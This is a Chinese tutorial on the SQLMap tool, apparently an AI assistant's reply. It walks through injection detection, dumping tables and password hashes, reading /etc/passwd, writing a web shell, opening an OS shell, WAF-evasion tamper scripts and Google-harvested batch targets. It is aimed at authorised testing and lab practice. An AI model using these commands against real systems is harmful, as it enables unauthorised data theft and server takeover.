SQLmap使用教程
SQLMap 使用教程:从入门到进阶(中文详解)
大家好!SQLMap 是一款开源的自动化 SQL 注入渗透测试工具,由 sqlmapproject 开发,它可以检测、利用 SQL 注入漏洞,并接管数据库服务器。 它支持多种数据库(如 MySQL、Oracle、PostgreSQL、SQL Server、Access 等),并具备强大的功能,包括数据库指纹识别、数据枚举、文件读写、命令执行等。 本教程基于最新版本(当前为 1.6.6#stable),适合初学者和进阶用户,强调合法使用(如渗透测试环境)。警告:仅用于授权测试,非法使用可能违法!
1. SQLMap 简介
SQLMap 采用五种独特注入技术:
- 基于布尔盲注:根据页面返回判断条件真假。
- 基于时间盲注:通过延迟判断。
- 基于错误注入:利用数据库错误信息。
- 联合查询注入:利用 UNION SELECT。
- 堆叠查询注入:执行多条 SQL 语句。
优势:
- 自动化程度高,支持批量测试。
- 跨平台(Python 2.6+ 或 3.x)。
- 集成 tamper 脚本绕过 WAF。
- 支持 GET、POST、Cookie 等注入方式。
适用场景:Web 渗透测试、漏洞扫描、数据库枚举。
2. 安装 SQLMap
SQLMap 支持 Windows、Linux、macOS。推荐使用 Git 克隆最新版。
方式一:源码安装(推荐)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py # 或 python3 sqlmap.py
方式二:Kali/Debian 系统直接安装
sudo apt update
sudo apt install sqlmap
sqlmap -hh # 查看帮助
方式三:Windows 安装
- 下载 ZIP 包解压。
- 确保 Python 环境,运行
python sqlmap.py
。
验证安装:
sqlmap --version # 显示版本信息
依赖:Python 3.x,无需额外 pip 安装(内置库支持)。
3. 基本语法和常用选项
SQLMap 的基本语法:
sqlmap [选项] -u URL # 或 -r 请求文件
核心选项分类
使用 -h
查看完整帮助。以下是常用选项:
选项 | 描述 | 示例 |
---|---|---|
-u URL | 指定目标 URL(GET 注入) | sqlmap -u "http://example.com/page?id=1" |
-r FILE | 从文件加载 HTTP 请求(POST/Cookie) | sqlmap -r request.txt |
–data=”KEY=VALUE” | POST 数据 | sqlmap -u URL --data="username=admin&password=123" |
–cookie=”NAME=VALUE” | Cookie 注入 | sqlmap -u URL --cookie="session=abc123" |
–dbms=DB | 指定数据库类型 | --dbms=mysql |
–level=1-5 | 注入点检测级别(默认1,5最高) | --level=3 |
–risk=1-3 | 风险级别(默认1,3最高) | --risk=2 |
–batch | 自动模式,无需确认 | --batch |
-v 0-6 | 详细程度(默认1) | -v 3 (显示 payload) |
–tamper=SCRIPT | 绕过 WAF 的 tamper 脚本 | --tamper=space2comment |
–delay=SECS | 请求延迟(防 WAF) | --delay=1 |
–threads=NUM | 多线程数(默认1) | --threads=5 |
目标指定:
- GET:
-u "http://example.com/?id=1"
- POST:使用 BurpSuite 抓包保存为
request.txt
,然后-r request.txt -p "id"
(指定参数)。
4. 基础使用:检测和枚举
假设目标 URL:http://example.com/page.php?id=1
。
步骤1:判断注入点和类型
sqlmap -u "http://example.com/page.php?id=1" --batch # 自动检测
- 输出:显示注入类型(如 Boolean-based blind)、数据库类型等。
步骤2:枚举数据库信息
- 获取所有数据库:
sqlmap -u URL --dbs
- 获取当前数据库:
sqlmap -u URL --current-db
- 获取当前用户:
sqlmap -u URL --current-user
- 检查 DBA 权限:
sqlmap -u URL --is-dba
步骤3:枚举表和列
- 指定数据库的所有表:
sqlmap -u URL -D db_name --tables
- 指定表的所有列:
sqlmap -u URL -D db_name -T table_name --columns
- 示例:
sqlmap -u "http://example.com/page.php?id=1" -D security --tables # 列出 security 库的表
sqlmap -u URL -D security -T users --columns # 列出 users 表的列
步骤4:数据导出(Dump)
- 导出指定列:
sqlmap -u URL -D db_name -T table_name -C "username,password" --dump
- 导出整个表:
sqlmap -u URL -D db_name -T table_name --dump
- 导出所有数据库:
sqlmap -u URL --dump-all
(小心使用,大量数据)。
搜索功能:
- 搜索包含特定字段的表:
sqlmap -u URL --search -C "password"
5. 进阶使用:文件操作和命令执行
文件读写
- 读取文件:
sqlmap -u URL --file-read="/etc/passwd" --batch
- 写入文件:
sqlmap -u URL --file-write="local_shell.php" --file-dest="/var/www/html/shell.php"
- 需要 DBA 权限。
OS Shell(命令执行)
- 获取系统 Shell:
sqlmap -u URL --os-shell
- SQLMap 会上传临时文件(如 tmpblwkd.php),输入命令如
whoami
。 - 退出:输入
x
或q
删除临时文件。
绕过 WAF
- 使用 tamper 脚本:
sqlmap -u URL --tamper=space2comment,between
(替换空格为注释)。 - 常见脚本:
randomcase
(随机大小写)、unmagicquotes
(绕过 magic_quotes)。 - 延迟与代理:
--delay=2 --proxy=http://127.0.0.1:8080
批量测试
- 从文件批量 URL:
sqlmap -m urls.txt --batch
- Google 搜索注入:
sqlmap -g --batch
(自动从 Google 抓取 URL)。
6. 实战示例
示例1:GET 注入检测与导出
sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc" --dbms=mysql --dump-all
- 检测 DVWA 的 SQL 注入,导出所有数据。
示例2:POST 注入(使用 Burp 抓包)
- 用 Burp 拦截 POST 请求,保存为
request.txt
。 - “`bash
sqlmap -r request.txt -p “username” –dbms=mysql –dbs
- 指定参数 `username` 注入。
#### 示例3:Cookie 注入
bash
sqlmap -u “http://example.com/page” –cookie=”id=1; session=abc” –level=3 –risk=2 –dump
#### 示例4:读取用户密码并执行命令
bash
sqlmap -u URL –users –passwords # 获取用户哈希
sqlmap -u URL –os-shell # 执行 whoami
“`
7. 注意事项与最佳实践
- 合法性:仅在授权环境下使用,避免扫描生产系统。
- 性能优化:
- 用
--batch
自动化测试。 --threads=10
加速,但小心被封 IP。--eta
显示预计时间。
- 常见问题:
- 无注入:提高
--level=5 --risk=3
。 - WAF 拦截:用
--tamper
或--random-agent
随机 User-Agent。 - HTTPS:加
--force-ssl
。 - 大文件导出:用
--start=1 --stop=100
分页。
- 调试:
-v 4
显示 HTTP 请求,结合 Wireshark 分析。 - 更新:定期
git pull
获取最新版。 - 替代工具:NoSQLMap(NoSQL 注入)、jSQL Injection(Java 版)。
风险:高风险选项可能导致数据库崩溃,生产环境慎用。
8. 总结
SQLMap 是 SQL 注入测试的“瑞士军刀”,从简单检测到高级利用,一站式解决。通过掌握 -u/-r
指定目标、--dbs/--dump
枚举数据,以及 tamper 绕过,你能高效进行渗透测试。实践是关键,建议在 DVWA 或 SQLi-Labs 等靶场练习。 如果需要特定场景(如 DVWA 完整案例)或 tamper 脚本详解,请告诉我,我可以进一步扩展!